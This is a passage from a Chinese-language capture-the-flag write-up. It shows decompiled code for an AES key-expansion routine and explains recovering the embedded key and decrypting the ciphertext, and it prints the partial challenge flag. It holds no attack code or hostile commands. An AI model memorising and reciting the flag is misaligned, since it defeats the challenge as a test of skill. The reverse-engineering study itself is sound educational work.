unsigned __int8 v9; // bp
__int64 v10; // rdx
char v11; // bl
__int64 v12; // rax
__int64 v13; // r8
char result; // al

v1 = a1 + 18;
*a1 = byte_14001DA40;
v2 = 4;
a1[1] = byte_14001DA41;
v3 = 16;
v4 = 4i64;
a1[2] = byte_14001DA42;
a1[3] = byte_14001DA43;
a1[4] = byte_14001DA44;
a1[5] = byte_14001DA45;
a1[6] = byte_14001DA46;
a1[7] = byte_14001DA47;
a1[8] = byte_14001DA48;
a1[9] = byte_14001DA49;
a1[10] = byte_14001DA4A;
a1[11] = byte_14001DA4B;
a1[12] = byte_14001DA4C;
a1[13] = byte_14001DA4D;
a1[14] = byte_14001DA4E;
a1[15] = byte_14001DA4F;
do
{
v5 = v3 - 4;
v6 = a1[v5];
v7 = a1[(v5 + 1)];
v8 = a1[(v5 + 2)];
v9 = a1[(v5 + 3)];
if ( !(v2 & 3) )
{
v10 = v6;
v11 = RijnDael_AES_LONG[v7];
v7 = RijnDael_AES_LONG[v8];
v12 = v9;
v9 = *(v10 + 0x14001AC50i64);
v8 = *(v12 + 0x14001AC50i64);
v6 = RijnDael_AES_LONG[(v4 >> 2) + 512] ^ v11;
}
v13 = v3 - 16;
++v2;
++v4;
*(v1 - 2) = v6 ^ a1[v13];
v3 += 4;
*(v1 - 1) = v7 ^ a1[(v13 + 1)];
*v1 = v8 ^ a1[(v13 + 2)];
result = v9 ^ a1[(v13 + 3)];
v1[1] = result;
v1 += 4;
}
while ( v3 < 0xB0 );
return result;
}

秘钥就在 byte_14001DA40 开始的地址空间内,将他们提取出来,然后把密文解密(不知道是不是密钥不可见的原因,使用 python 脚本不能解密出明文,我使用了 PYG 密码工具可以正常解密)。
image

image

为什么只有一半 flag? AES 加密密文长度应该是 16 个字节,而给出的密文明显多于 16 个字节,仔细观察剩余的字符发现都在 ASCII 范围内,直接转换成字符即可得到 flag。

hxb2018{853ecfe52aeb60989e8d3351

image

最后缺了一个括号,补上就好了。